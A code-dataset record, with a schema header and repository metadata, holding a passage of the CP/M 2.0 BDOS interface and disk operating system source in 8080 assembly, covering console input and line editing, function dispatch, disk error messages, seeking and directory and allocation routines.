hexsha
stringlengths 40
40
| size
int64 6
1.05M
| ext
stringclasses 3
values | lang
stringclasses 1
value | max_stars_repo_path
stringlengths 4
232
| max_stars_repo_name
stringlengths 7
106
| max_stars_repo_head_hexsha
stringlengths 40
40
| max_stars_repo_licenses
listlengths 1
7
| max_stars_count
int64 1
33.5k
⌀ | max_stars_repo_stars_event_min_datetime
stringlengths 24
24
⌀ | max_stars_repo_stars_event_max_datetime
stringlengths 24
24
⌀ | max_issues_repo_path
stringlengths 4
232
| max_issues_repo_name
stringlengths 7
106
| max_issues_repo_head_hexsha
stringlengths 40
40
| max_issues_repo_licenses
listlengths 1
7
| max_issues_count
int64 1
37.5k
⌀ | max_issues_repo_issues_event_min_datetime
stringlengths 24
24
⌀ | max_issues_repo_issues_event_max_datetime
stringlengths 24
24
⌀ | max_forks_repo_path
stringlengths 4
232
| max_forks_repo_name
stringlengths 7
106
| max_forks_repo_head_hexsha
stringlengths 40
40
| max_forks_repo_licenses
listlengths 1
7
| max_forks_count
int64 1
12.6k
⌀ | max_forks_repo_forks_event_min_datetime
stringlengths 24
24
⌀ | max_forks_repo_forks_event_max_datetime
stringlengths 24
24
⌀ | content
stringlengths 6
1.05M
| avg_line_length
float64 1.16
19.7k
| max_line_length
int64 2
938k
| alphanum_fraction
float64 0
1
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
c1e4b83f861f721d8942b1a95f16020f7efce6ff
| 61,507
|
asm
|
Assembly
|
2.0/cpm20_code/os3bdos.asm
|
officialrafsan/CP-M
|
b7c15f56367daf8b40aa611276d7346203f1b580
|
[
"MIT"
] | null | null | null |
2.0/cpm20_code/os3bdos.asm
|
officialrafsan/CP-M
|
b7c15f56367daf8b40aa611276d7346203f1b580
|
[
"MIT"
] | null | null | null |
2.0/cpm20_code/os3bdos.asm
|
officialrafsan/CP-M
|
b7c15f56367daf8b40aa611276d7346203f1b580
|
[
"MIT"
] | null | null | null |
title 'Bdos Interface, Bdos, Version 2.0 Aug, 1979'
;*****************************************************************
;*****************************************************************
;** **
;** B a s i c D i s k O p e r a t i n g S y s t e m **
;** I n t e r f a c e M o d u l e **
;** **
;*****************************************************************
;*****************************************************************
;
; Copyright (c) 1978, 1979
; Digital Research
; Box 579, Pacific Grove
; California
;
on equ 0ffffh
off equ 00000h
test equ off
;
if test
org 3c00h
else
org 0800h
endif
; bios value defined at end of module
;
ssize equ 24 ;24 level stack
;
; low memory locations
reboot equ 0000h ;reboot system
ioloc equ 0003h ;i/o byte location
bdosa equ 0006h ;address field of jmp BDOS
;
; bios access constants
bootf set bios+3*0 ;cold boot function
wbootf set bios+3*1 ;warm boot function
constf set bios+3*2 ;console status function
coninf set bios+3*3 ;console input function
conoutf set bios+3*4 ;console output function
listf set bios+3*5 ;list output function
punchf set bios+3*6 ;punch output function
readerf set bios+3*7 ;reader input function
homef set bios+3*8 ;disk home function
seldskf set bios+3*9 ;select disk function
settrkf set bios+3*10 ;set track function
setsecf set bios+3*11 ;set sector function
setdmaf set bios+3*12 ;set dma function
readf set bios+3*13 ;read disk function
writef set bios+3*14 ;write disk function
liststf set bios+3*15 ;list status function
sectran set bios+3*16 ;sector translate
;
; equates for non graphic characters
ctlc equ 03h ;control c
ctle equ 05h ;physical eol
ctlh equ 08h ;backspace
ctlp equ 10h ;prnt toggle
ctlr equ 12h ;repeat line
ctls equ 13h ;stop/start screen
ctlu equ 15h ;line delete
ctlx equ 18h ;=ctl-u
ctlz equ 1ah ;end of file
rubout equ 7fh ;char delete
tab equ 09h ;tab char
cr equ 0dh ;carriage return
lf equ 0ah ;line feed
ctl equ 5eh ;up arrow
;
db 0,0,0,0,0,0
;
; enter here from the user's program with function number in c,
; and information address in d,e
jmp bdose ;past parameter block
;
; ************************************************
; *** relative locations 0009 - 000e ***
; ************************************************
pererr: dw persub ;permanent error subroutine
selerr: dw selsub ;select error subroutine
roderr: dw rodsub ;ro disk error subroutine
roferr: dw rofsub ;ro file error subroutine
;
;
bdose: ;arrive here from user programs
xchg! shld info! xchg ;info=DE, DE=info
mov a,e! sta linfo ;linfo = low(info) - don't equ
lxi h,0! shld aret ;return value defaults to 0000
;save user's stack pointer, set to local stack
dad sp! shld entsp ;entsp = stackptr
lxi sp,lstack ;local stack setup
xra a! sta fcbdsk! sta resel ;fcbdsk,resel=false
lxi h,goback ;return here after all functions
push h ;jmp goback equivalent to ret
mov a,c! cpi nfuncs! rnc ;skip if invalid #
mov c,e ;possible output character to C
lxi h,functab! mov e,a! mvi d,0 ;DE=func, HL=.ciotab
dad d! dad d! mov e,m! inx h! mov d,m ;DE=functab(func)
xchg! pchl ;dispatched
;
; dispatch table for functions
functab:
dw bootf, func1, func2, func3
dw func4, func5, func6, func7
dw func8, func9, func10,func11
diskf equ ($-functab)/2 ;disk funcs
dw func12,func13,func14,func15
dw func16,func17,func18,func19
dw func20,func21,func22,func23
dw func24,func25,func26,func27
dw func28,func29,func30,func31
dw func32,func33,func34,func35
dw func36
nfuncs equ ($-functab)/2
;
func1:
;return console character with echo
call conech
jmp sta$ret
;
func2:
;write console character with tab expansion
call tabout
ret ;jmp goback
;
func3:
;return reader character
call readerf
jmp sta$ret
;
func4:
;write punch character
call punchf
ret ;jmp goback
;
func5:
;write list character
;write to list device
call listf
ret ;jmp goback
;
func6:
;direct console i/o - read if 0ffh
mov a,c! inr a! jz dirinp ;0ffh => 00h, means input mode
;direct output function
call conoutf
ret ;jmp goback
dirinp:
call constf ;status check
ora a! jz retmon ;skip, return 00 if not ready
;character is ready, get it
call coninf ;to A
jmp sta$ret
;
func7:
;return io byte
lda ioloc
jmp sta$ret
;
func8:
;set i/o byte
lxi h,ioloc
mov m,c
ret ;jmp goback
;
func9:
;write line until $ encountered
lhld info! mov c,l! mov b,h ;BC=string address
call print ;out to console
ret ;jmp goback
;
func10:
;read a buffered console line
call read
ret ;jmp goback
;
func11:
;check console status
call conbrk
;(drop through to sta$ret)
sta$ret:
;store the A register to aret
sta aret! ret ;jmp goback
;
; error subroutines
persub: ;report permanent error
lxi h,permsg! call errflg ;to report the error
cpi ctlc! jz reboot ;reboot if response is ctlc
ret ;and ignore the error
;
selsub: ;report select error
lxi h,selmsg! jmp wait$err ;wait console before boot
;
rodsub: ;report write to read/only disk
lxi h,rodmsg! jmp wait$err ;wait console
;
rofsub: ;report read/only file
lxi h,rofmsg ;drop through to wait for console
;
wait$err:
;wait for response before boot
call errflg! jmp reboot
;
errflg:
;report error to console, message address in HL
push h! call crlf ;stack mssg address, new line
lda curdsk! adi 'A'! sta dskerr ;current disk name
lxi b,dskmsg! call print ;the error message
pop b! call print ;error mssage tail
jmp conin ;to get the input character
;ret
;
; error messages
dskmsg: db 'Bdos Err On '
dskerr: db ' : $' ;filled in by errflg
permsg: db 'Bad Sector$'
selmsg: db 'Select$'
rofmsg: db 'File '
rodmsg: db 'R/O$'
;
;
; console handlers
conin:
;read console character to A
lxi h,kbchar! mov a,m! mvi m,0! ora a! rnz
;no previous keyboard character ready
jmp coninf ;get character externally
;ret
;
conech:
;read character with echo
call conin! call echoc! rc ;echo character?
;character must be echoed before return
push psw! mov c,a! call tabout! pop psw
ret ;with character in A
;
echoc:
;echo character if graphic
;cr, lf, tab, or backspace
cpi cr! rz ;carriage return?
cpi lf! rz ;line feed?
cpi tab! rz ;tab?
cpi ctlh! rz ;backspace?
cpi ' '! ret ;carry set if not graphic
;
conbrk: ;check for character ready
lda kbchar! ora a! jnz conb1 ;skip if active kbchar
;no active kbchar, check external break
call constf! ani 1! rz ;return if no char ready
;character ready, read it
call coninf ;to A
cpi ctls! jnz conb0 ;check stop screen function
;found ctls, read next character
call coninf ;to A
cpi ctlc! jz reboot ;ctlc implies re-boot
;not a reboot, act as if nothing has happened
xra a! ret ;with zero in accumulator
conb0:
;character in accum, save it
sta kbchar
conb1:
;return with true set in accumulator
mvi a,1! ret
;
conout:
;compute character position/write console char from C
;compcol = true if computing column position
lda compcol! ora a! jnz compout
;write the character, then compute the column
;write console character from C
push b! call conbrk ;check for screen stop function
pop b! push b ;recall/save character
call conoutf ;externally, to console
pop b! push b ;recall/save character
;may be copying to the list device
lda listcp! ora a! cnz listf ;to printer, if so
pop b ;recall the character
compout:
mov a,c ;recall the character
;and compute column position
lxi h,column ;A = char, HL = .column
cpi rubout! rz ;no column change if nulls
inr m ;column = column + 1
cpi ' '! rnc ;return if graphic
;not graphic, reset column position
dcr m ;column = column - 1
mov a,m! ora a! rz ;return if at zero
;not at zero, may be backspace or end line
mov a,c ;character back to A
cpi ctlh! jnz notbacksp
;backspace character
dcr m ;column = column - 1
ret
notbacksp:
;not a backspace character, eol?
cpi lf! rnz ;return if not
;end of line, column = 0
mvi m,0 ;column = 0
ret
;
ctlout:
;send C character with possible preceding up-arrow
mov a,c! call echoc ;cy if not graphic (or special case)
jnc tabout ;skip if graphic, tab, cr, lf, or ctlh
;send preceding up arrow
push psw! mvi c,ctl! call conout ;up arrow
pop psw! ori 40h ;becomes graphic letter
mov c,a ;ready to print
;(drop through to tabout)
;
tabout:
;expand tabs to console
mov a,c! cpi tab! jnz conout ;direct to conout if not
;tab encountered, move to next tab position
tab0:
mvi c,' '! call conout ;another blank
lda column! ani 111b ;column mod 8 = 0 ?
jnz tab0 ;back for another if not
ret
;
pctlh:
;send ctlh to console without affecting column count
mvi c,ctlh! jmp conoutf
;ret
;
backup:
;back-up one screen position
call pctlh! mvi c,' '! call conoutf! jmp pctlh
;
crlfp:
;print #, cr, lf for ctlx, ctlu, ctlr functions
;then move to strtcol (starting column)
mvi c,'#'! call conout
call crlf
;column = 0, move to position strtcol
crlfp0:
lda column! lxi h,strtcol
cmp m! rnc ;stop when column reaches strtcol
mvi c,' '! call conout ;print blank
jmp crlfp0
;;
;
crlf:
;carriage return line feed sequence
mvi c,cr! call conout! mvi c,lf! jmp conout
;ret
;
print:
;print message until M(BC) = '$'
ldax b! cpi '$'! rz ;stop on $
;more to print
inx b! push b! mov c,a ;char to C
call tabout ;another character printed
pop b! jmp print
;
read: ;read to info address (max length, current length, buffer)
lda column! sta strtcol ;save start for ctl-x, ctl-h
lhld info! mov c,m! inx h! push h! mvi b,0
;B = current buffer length,
;C = maximum buffer length,
;HL= next to fill - 1
readnx:
;read next character, BC, HL active
push b! push h ;blen, cmax, HL saved
readn0:
call conin ;next char in A
ani 7fh ;mask parity bit
pop h! pop b ;reactivate counters
cpi cr! jz readen ;end of line?
cpi lf! jz readen ;also end of line
cpi ctlh! jnz noth ;backspace?
;do we have any characters to back over?
mov a,b! ora a! jz readnx
;characters remain in buffer, backup one
dcr b ;remove one character
lda column! sta compcol ;col > 0
;compcol > 0 marks repeat as length compute
jmp linelen ;uses same code as repeat
noth:
;not a backspace
cpi rubout! jnz notrub ;rubout char?
;rubout encountered, rubout if possible
mov a,b! ora a! jz readnx ;skip if len=0
;buffer has characters, resend last char
mov a,m! dcr b! dcx h ;A = last char
;blen=blen-1, next to fill - 1 decremented
jmp rdech1 ;act like this is an echo
;
notrub:
;not a rubout character, check end line
cpi ctle! jnz note ;physical end line?
;yes, save active counters and force eol
push b! push h! call crlf
xra a! sta strtcol ;start position = 00
jmp readn0 ;for another character
note:
;not end of line, list toggle?
cpi ctlp! jnz notp ;skip if not ctlp
;list toggle - change parity
push h ;save next to fill - 1
lxi h,listcp ;HL=.listcp flag
mvi a,1! sub m ;True-listcp
mov m,a ;listcp = not listcp
pop h! jmp readnx ;for another char
notp:
;not a ctlp, line delete?
cpi ctlx! jnz notx
pop h ;discard start position
;loop while column > strtcol
backx:
lda strtcol! lxi h,column
cmp m! jnc read ;start again
dcr m ;column = column - 1
call backup ;one position
jmp backx
notx:
;not a control x, control u?
;not control-X, control-U?
cpi ctlu! jnz notu ;skip if not
;delete line (ctlu)
call crlfp ;physical eol
pop h ;discard starting position
jmp read ;to start all over
notu:
;not line delete, repeat line?
cpi ctlr! jnz notr
linelen:
;repeat line, or compute line len (ctlh)
;if compcol > 0
push b! call crlfp ;save line length
pop b! pop h! push h! push b
;bcur, cmax active, beginning buff at HL
rep0:
mov a,b! ora a! jz rep1 ;count len to 00
inx h! mov c,m ;next to print
dcr b! push b! push h ;count length down
call ctlout ;character echoed
pop h! pop b ;recall remaining count
jmp rep0 ;for the next character
rep1:
;end of repeat, recall lengths
;original BC still remains pushed
push h ;save next to fill
lda compcol! ora a ;>0 if computing length
jz readn0 ;for another char if so
;column position computed for ctlh
lxi h,column! sub m ;diff > 0
sta compcol ;count down below
;move back compcol-column spaces
backsp:
;move back one more space
call backup ;one space
lxi h,compcol! dcr m
jnz backsp
jmp readn0 ;for next character
notr:
;not a ctlr, place into buffer
rdecho:
inx h! mov m,a ;character filled to mem
inr b ;blen = blen + 1
rdech1:
;look for a random control character
push b! push h ;active values saved
mov c,a ;ready to print
call ctlout ;may be up-arrow C
pop h! pop b! mov a,m ;recall char
cpi ctlc ;set flags for reboot test
mov a,b ;move length to A
jnz notc ;skip if not a control c
cpi 1 ;control C, must be length 1
jz reboot ;reboot if blen = 1
;length not one, so skip reboot
notc:
;not reboot, are we at end of buffer?
cmp c! jc readnx ;go for another if not
readen:
;end of read operation, store blen
pop h! mov m,b ;M(current len) = B
mvi c,cr! jmp conout ;return carriage
;ret
;
;
; data areas
;
compcol:db 0 ;true if computing column position
strtcol:db 0 ;starting column position after read
column: db 0 ;column position
listcp: db 0 ;listing toggle
kbchar: db 0 ;initial key char = 00
entsp: ds 2 ;entry stack pointer
ds ssize*2 ;stack size
lstack:
; end of Basic I/O System
;
;*****************************************************************
;*****************************************************************
;
; common values shared between bdosi and bdos
usrcode:db 0 ;current user number
curdsk: db 0 ;current disk number
info: ds 2 ;information address
aret: ds 2 ;address value to return
lret equ aret ;low(aret)
;
;*****************************************************************
;*****************************************************************
;** **
;** B a s i c D i s k O p e r a t i n g S y s t e m **
;** **
;*****************************************************************
;*****************************************************************
;
dvers equ 20h ;version 2.0
; module addresses
;
; literal constants
true equ 0ffh ;constant true
false equ 000h ;constant false
enddir equ 0ffffh ;end of directory
byte equ 1 ;number of bytes for "byte" type
word equ 2 ;number of bytes for "word" type
;
; fixed addresses in low memory
tfcb equ 005ch ;default fcb location
tbuff equ 0080h ;default buffer location
;
; fixed addresses referenced in bios module are
; pererr (0009), selerr (000c), roderr (000f)
;
; error message handlers
goerr:
;HL = .errorhandler, call subroutine
mov e,m! inx h! mov d,m ;address of routine in DE
xchg! pchl ;to subroutine
;
per$error:
;report permanent error to user
lxi h,pererr! jmp goerr
;
sel$error:
;report select error
lxi h,selerr! jmp goerr
;
rod$error:
;report read/only disk error
lxi h,roderr! jmp goerr
;
rof$error:
;report read/only file error
lxi h,roferr! jmp goerr
;
;
; local subroutines for bios interface
;
move:
;move data length of length C from source DE to
;destination given by HL
inr c ;in case it is zero
move0:
dcr c! rz ;more to move
ldax d! mov m,a ;one byte moved
inx d! inx h ;to next byte
jmp move0
;
selectdisk:
;select the disk drive given by curdsk, and fill
;the base addresses curtrka - alloca, then fill
;the values of the disk parameter block
lda curdsk! mov c,a ;current disk# to c
;lsb of e = 0 if not yet logged - in
call seldskf ;HL filled by call
;HL = 0000 if error, otherwise disk headers
mov a,h! ora l! rz ;return with 0000 in HL and z flag
;disk header block address in hl
mov e,m! inx h! mov d,m! inx h ;DE=.tran
shld cdrmaxa! inx h! inx h ;.cdrmax
shld curtrka! inx h! inx h ;HL=.currec
shld curreca! inx h! inx h ;HL=.buffa
;DE still contains .tran
xchg! shld tranv ;.tran vector
lxi h,buffa ;DE= source for move, HL=dest
mvi c,addlist! call move ;addlist filled
;now fill the disk parameter block
lhld dpbaddr! xchg ;DE is source
lxi h,sectpt ;HL is destination
mvi c,dpblist! call move ;data filled
;now set single/double map mode
lhld maxall ;largest allocation number
mov a,h ;00 indicates < 255
lxi h,single! mvi m,true ;assume a=00
ora a! jz retselect
;high order of maxall not zero, use double dm
mvi m,false
retselect:
mvi a,true! ora a! ret ;select disk function ok
;
home:
;move to home position, then offset to start of dir
call homef ;move to track 00, sector 00 reference
lxi h,offset! mov c,m! inx h! mov b,m! call settrkf
;first directory position selected
xra a ;constant zero to accumulator
lhld curtrka! mov m,a! inx h! mov m,a ;curtrk=0000
lhld curreca! mov m,a! inx h! mov m,a ;currec=0000
;curtrk, currec both set to 0000
ret
;
rdbuff:
;read buffer and check condition
call readf ;current drive, track, sector, dma
ora a! jnz per$error
ret
;
wrbuff:
;write buffer and check condition
;write type (wrtype) is in register C
;wrtype = 0 => normal write operation
;wrtype = 1 => directory write operation
;wrtype = 2 => start of new block
call writef ;current drive, track, sector, dma
ora a! jnz per$error
ret
;
seek:
;seek the track given by arecord (actual record)
;local equates for registers
arech equ b! arecl equ c ;arecord = BC
crech equ d! crecl equ e ;currec = DE
ctrkh equ h! ctrkl equ l ;curtrk = HL
tcrech equ h! tcrecl equ l ;tcurrec = HL
;load the registers from memory
lxi h,arecord! mov arecl,m! inx h! mov arech,m
lhld curreca ! mov crecl,m! inx h! mov crech,m
lhld curtrka ! mov a,m! inx h! mov ctrkh,m! mov ctrkl,a
;loop while arecord < currec
seek0:
mov a,arecl! sub crecl! mov a,arech! sbb crech
jnc seek1 ;skip if arecord >= currec
;currec = currec - sectpt
push ctrkh! lhld sectpt
mov a,crecl! sub l! mov crecl,a
mov a,crech! sbb h! mov crech,a
pop ctrkh
;curtrk = curtrk - 1
dcx ctrkh
jmp seek0 ;for another try
seek1:
;look while arecord >= (t:=currec + sectpt)
push ctrkh
lhld sectpt! dad crech ;HL = currec+sectpt
mov a,arecl! sub tcrecl! mov a,arech! sbb tcrech
jc seek2 ;skip if t > arecord
;currec = t
xchg
;curtrk = curtrk + 1
pop ctrkh! inx ctrkh
jmp seek1 ;for another try
seek2: pop ctrkh
;arrive here with updated values in each register
push arech! push crech! push ctrkh ;to stack for later
;stack contains (lowest) BC=arecord, DE=currec, HL=curtrk
xchg! lhld offset! dad d ;HL = curtrk+offset
mov b,h! mov c,l! call settrkf ;track set up
;note that BC - curtrk is difference to move in bios
pop d ;recall curtrk
lhld curtrka! mov m,e! inx h! mov m,d ;curtrk updated
;now compute sector as arecord-currec
pop crech ;recall currec
lhld curreca! mov m,crecl! inx h! mov m,crech
pop arech ;BC=arecord, DE=currec
mov a,arecl! sub crecl! mov arecl,a
mov a,arech! sbb crech! mov arech,a
lhld tranv! xchg ;BC=sector#, DE=.tran
call sectran ;HL = tran(sector)
mov c,l! mov b,h ;BC = tran(sector)
jmp setsecf ;sector selected
;ret
;
; file control block (fcb) constants
empty equ 0e5h ;empty directory entry
lstrec equ 127 ;last record# in extent
recsiz equ 128 ;record size
fcblen equ 32 ;file control block size
dirrec equ recsiz/fcblen ;directory elts / record
dskshf equ 2 ;log2(dirrec)
dskmsk equ dirrec-1
fcbshf equ 5 ;log2(fcblen)
;
extnum equ 12 ;extent number field
maxext equ 31 ;largest extent number
ubytes equ 13 ;unfilled bytes field
modnum equ 14 ;data module number
maxmod equ 15 ;largest module number
fwfmsk equ 80h ;file write flag is high order modnum
namlen equ 15 ;name length
reccnt equ 15 ;record count field
dskmap equ 16 ;disk map field
lstfcb equ fcblen-1
nxtrec equ fcblen
ranrec equ nxtrec+1;random record field (2 bytes)
;
; reserved file indicators
rofile equ 9 ;high order of first type char
invis equ 10 ;invisible file in dir command
; equ 11 ;reserved
;
; utility functions for file access
;
dm$position:
;compute disk map position for vrecord to HL
lxi h,blkshf! mov c,m ;shift count to C
lda vrecord ;current virtual record to A
dmpos0:
ora a! rar! dcr c! jnz dmpos0
;A = shr(vrecord,blkshf) = vrecord/2**(sect/block)
mov b,a ;save it for later addition
mvi a,8! sub m ;8-blkshf to accumulator
mov c,a ;extent shift count in register c
lda extval ;extent value ani extmsk
dmpos1:
;blkshf = 3,4,5,6,7, C=5,4,3,2,1
;shift is 4,3,2,1,0
dcr c! jz dmpos2
ora a! ral! jmp dmpos1
dmpos2:
;arrive here with A = shl(ext and extmsk,7-blkshf)
add b ;add the previous shr(vrecord,blkshf) value
;A is one of the following values, depending upon alloc
;bks blkshf
;1k 3 v/8 + extval * 16
;2k 4 v/16+ extval * 8
;4k 5 v/32+ extval * 4
;8k 6 v/64+ extval * 2
;16k 7 v/128+extval * 1
ret ;with dm$position in A
;
getdm:
;return disk map value from position given by BC
lhld info ;base address of file control block
lxi d,dskmap! dad d ;HL =.diskmap
dad b ;index by a single byte value
lda single ;single byte/map entry?
ora a! jz getdmd ;get disk map single byte
mov l,m! mvi h,0! ret ;with HL=00bb
getdmd:
dad b ;HL=.fcb(dm+i*2)
;double precision value returned
mov e,m! inx h! mov d,m! xchg! ret
;
index:
;compute disk block number from current fcb
call dm$position ;0...15 in register A
mov c,a! mvi b,0! call getdm ;value to HL
shld arecord! ret
;
allocated:
;called following index to see if block allocated
lhld arecord! mov a,l! ora h! ret
;
atran:
;compute actual record address, assuming index called
lda blkshf ;shift count to reg A
lhld arecord
atran0:
dad h! dcr a! jnz atran0 ;shl(arecord,blkshf)
lda blkmsk! mov c,a ;mask value to C
lda vrecord! ana c ;masked value in A
ora l! mov l,a ;to HL
shld arecord ;arecord=HL or (vrecord and blkmsk)
ret
;
getexta:
;get current extent field address to A
lhld info! lxi d,extnum! dad d ;HL=.fcb(extnum)
ret
;
getfcba:
;compute reccnt and nxtrec addresses for get/setfcb
lhld info! lxi d,reccnt! dad d! xchg ;DE=.fcb(reccnt)
lxi h,(nxtrec-reccnt)! dad d ;HL=.fcb(nxtrec)
ret
;
getfcb:
;set variables from currently addressed fcb
call getfcba ;addresses in DE, HL
mov a,m! sta vrecord ;vrecord=fcb(nxtrec)
xchg! mov a,m! sta rcount ;rcount=fcb(reccnt)
call getexta ;HL=.fcb(extnum)
lda extmsk ;extent mask to a
ana m ;fcb(extnum) and extmsk
sta extval
ret
;
setfcb:
;place values back into current fcb
call getfcba ;addresses to DE, HL
lda seqio! mov c,a ;=1 if sequential i/o
lda vrecord! add c! mov m,a ;fcb(nxtrec)=vrecord+seqio
xchg! lda rcount! mov m,a ;fcb(reccnt)=rcount
ret
;
hlrotr:
;hl rotate right by amount C
inr c ;in case zero
hlrotr0: dcr c! rz ;return when zero
mov a,h! ora a! rar! mov h,a ;high byte
mov a,l! rar! mov l,a ;low byte
jmp hlrotr0
;
seekdir:
;seek the record containing the current dir entry
lhld dcnt ;directory counter to HL
mvi c,dskshf! call hlrotr ;value to HL
shld arecord! shld drec ;ready for seek
jmp seek
;ret
;
compute$cs:
;compute checksum for current directory buffer
mvi c,recsiz ;size of directory buffer
lhld buffa ;current directory buffer
xra a ;clear checksum value
computecs0:
add m! inx h! dcr c ;cs=cs+buff(recsiz-C)
jnz computecs0
ret ;with checksum in A
;
hlrotl:
;rotate the mask in HL by amount in C
inr c ;may be zero
hlrotl0: dcr c! rz ;return if zero
dad h! jmp hlrotl0
;
set$cdisk:
;set a "1" value in curdsk position of BC
push b ;save input parameter
lda curdsk! mov c,a ;ready parameter for shift
lxi h,1 ;number to shift
call hlrotl ;HL = mask to integrate
pop b ;original mask
mov a,c! ora l! mov l,a
mov a,b! ora h! mov h,a ;HL = mask or rol(1,curdsk)
ret
;
nowrite:
;return true if dir checksum difference occurred
lhld rodsk! lda curdsk! mov c,a! call hlrotr
mov a,l! ani 1b! ret ;non zero if nowrite
;
set$ro:
;set current disk to read only
lxi h,rodsk! mov c,m! inx h! mov b,m
call set$cdisk ;sets bit to 1
shld rodsk
;high water mark in directory goes to max
lhld dirmax! xchg ;DE = directory max
lhld cdrmaxa ;HL = .cdrmax
mov m,e! inx h! mov m,d ;cdrmax = dirmax
ret
;
check$rofile:
;check current buff(dptr) or fcb(0) for r/o status
lxi d,rofile! dad d ;offset to ro bit
mov a,m! ral! rnc ;return if not set
jmp rof$error ;exit to read only disk message
;
check$rodir:
;check current directory element for read/only status
call getdptra ;address of element
jmp check$rofile ;share code
;
check$write:
;check for write protected disk
call nowrite! rz ;ok to write if not rodsk
jmp rod$error ;read only disk error
;
addh:
;HL = HL + A
add l! mov l,a! rnc
;overflow to H
inr h! ret
;
getdptra:
;compute the address of a directory element at
;positon dptr in the buffer
lhld buffa! lda dptr! jmp addh
;
getmodnum:
;compute the address of the module number
;bring module number to accumulator
;(high order bit is fwf (file write flag)
lhld info! lxi d,modnum! dad d ;HL=.fcb(modnum)
mov a,m! ret ;A=fcb(modnum)
;
clrmodnum:
;clear the module number field for user open/make
call getmodnum! mvi m,0 ;fcb(modnum)=0
ret
;
setfwf:
call getmodnum ;HL=.fcb(modnum), A=fcb(modnum)
;set fwf (file write flag) to "1"
ori fwfmsk! mov m,a ;fcb(modnum)=fcb(modnum) or 80h
;also returns non zero in accumulator
ret
;
setlret1:
;set lret = 1
mvi a,1! sta lret! ret
;
compcdr:
;return cy if cdrmax > dcnt
lhld dcnt! xchg ;DE = directory counter
lhld cdrmaxa ;HL=.cdrmax
mov a,e! sub m ;low(dcnt) - low(cdrmax)
inx h ;HL = .cdrmax+1
mov a,d! sbb m ;hig(dcnt) - hig(cdrmax)
;condition dcnt - cdrmax produces cy if cdrmax>dcnt
ret
;
setcdr:
;if not (cdrmax > dcnt) then cdrmax = dcnt+1
call compcdr
rc ;return if cdrmax > dcnt
;otherwise, HL = .cdrmax+1, DE = dcnt
inx d! mov m,d! dcx h! mov m,e
ret
;
subdh:
;compute HL = DE - HL
mov a,e! sub l! mov l,a! mov a,d! sbb h! mov h,a
ret
;
newchecksum:
mvi c,true ;drop through to compute new checksum
checksum:
;compute current checksum record and update the
;directory element if C=true, or check for = if not
;drec < chksiz?
lhld drec! xchg! lhld chksiz! call subdh ;DE-HL
rnc ;skip checksum if past checksum vector size
;drec < chksiz, so continue
push b ;save init flag
call compute$cs ;check sum value to A
lhld checka ;address of check sum vector
xchg
lhld drec ;value of drec
dad d ;HL = .check(drec)
pop b ;recall true=0ffh or false=00 to C
inr c ;0ffh produces zero flag
jz initial$cs
;not initializing, compare
cmp m ;compute$cs=check(drec)?
rz ;no message if ok
;checksum error, are we beyond
;the end of the disk?
call compcdr
rnc ;no message if so
call set$ro ;read/only disk set
ret
initial$cs:
;initializing the checksum
mov m,a! ret
;
setdma:
;HL=.dma address to set (i.e., buffa or dmaad)
mov c,m! inx h! mov b,m ;parameter ready
jmp setdmaf
;
setdata:
;set data dma address
lxi h,dmaad! jmp setdma ;to complete the call
;
setdir:
;set directory dma address
lxi h,buffa! jmp setdma ;to complete the call
;
wrdir:
;write the current directory entry, set checksum
call newchecksum ;initialize entry
call setdir ;directory dma
mvi c,1 ;indicates a write directory operation
call wrbuff ;write the buffer
jmp setdata ;to data dma address
;ret
;
rd$dir:
;read a directory entry into the directory buffer
call setdir ;directory dma
call rdbuff ;directory record loaded
jmp setdata ;to data dma address
;ret
;
dir$to$user:
;copy the directory entry to the user buffer
;after call to search or searchn by user code
lhld buffa! xchg ;source is directory buffer
lhld dmaad ;destination is user dma address
mvi c,recsiz ;copy entire record
jmp move
;ret
;
end$of$dir:
;return zero flag if at end of directory, non zero
;if not at end (end of dir if dcnt = 0ffffh)
lxi h,dcnt! mov a,m ;may be 0ffh
inx h! cmp m ;low(dcnt) = high(dcnt)?
rnz ;non zero returned if different
;high and low the same, = 0ffh?
inr a ;0ffh becomes 00 if so
ret
;
set$end$dir:
;set dcnt to the end of the directory
lxi h,enddir! shld dcnt! ret
;
read$dir:
;read next directory entry, with C=true if initializing
lhld dirmax! xchg ;in preparation for subtract
lhld dcnt! inx h! shld dcnt ;dcnt=dcnt+1
;continue while dirmax >= dcnt (dirmax-dcnt no cy)
call subdh ;DE-HL
jnc read$dir0
;yes, set dcnt to end of directory
call set$end$dir
ret
read$dir0:
;not at end of directory, seek next element
;initialization flag is in C
lda dcnt! ani dskmsk ;low(dcnt) and dskmsk
mvi b,fcbshf ;to multiply by fcb size
read$dir1:
add a! dcr b! jnz read$dir1
;A = (low(dcnt) and dskmsk) shl fcbshf
sta dptr ;ready for next dir operation
ora a! rnz ;return if not a new record
push b ;save initialization flag C
call seek$dir ;seek proper record
call rd$dir ;read the directory record
pop b ;recall initialization flag
jmp checksum ;checksum the directory elt
;ret
;
rotr:
;byte value from ALLOC is in register A, with shift count
;in register C (to place bit back into position), and
;target ALLOC position in registers HL, rotate and replace
rrc! dcr d! jnz rotr ;back into position
mov m,a ;back to ALLOC
ret
;
getallocbit:
;given allocation vector position BC, return with byte
;containing BC shifted so that the least significant
;bit is in the low order accumulator position. HL is
;the address of the byte for possible replacement in
;memory upon return, and D contains the number of shifts
;required to place the returned value back into position
mov a,c! ani 111b! inr a! mov e,a! mov d,a
;d and e both contain the number of bit positions to shift
mov a,c! rrc! rrc! rrc! ani 11111b! mov c,a ;C shr 3 to C
mov a,b! add a! add a! add a! add a! add a ;B shl 5
ora c! mov c,a ;bbbccccc to C
mov a,b! rrc! rrc! rrc! ani 11111b! mov b,a ;BC shr 3 to BC
lhld alloca ;base address of allocation vector
dad b! mov a,m ;byte to A, hl = .alloc(BC shr 3)
;now move the bit to the low order position of A
rotl: rlc! dcr e! jnz rotl! ret
;
;
setallocbit:
;BC is the bit position of ALLOC to set or reset. The
;value of the bit is in register E.
push d! call getallocbit ;shifted val A, count in D
ani 1111$1110b ;mask low bit to zero (may be set)
pop b! ora c ;low bit of C is masked into A
jmp rotr ;to rotate back into proper position
;ret
;
scandm:
;scan the disk map addressed by dptr for non-zero
;entries, the allocation vector entry corresponding
;to a non-zero entry is set to the value of C (0,1)
call getdptra ;HL = buffa + dptr
;HL addresses the beginning of the directory entry
lxi d,dskmap! dad d ;hl now addresses the disk map
push b ;save the 0/1 bit to set
mvi c,fcblen-dskmap+1 ;size of single byte disk map + 1
scandm0:
;loop once for each disk map entry
pop d ;recall bit parity
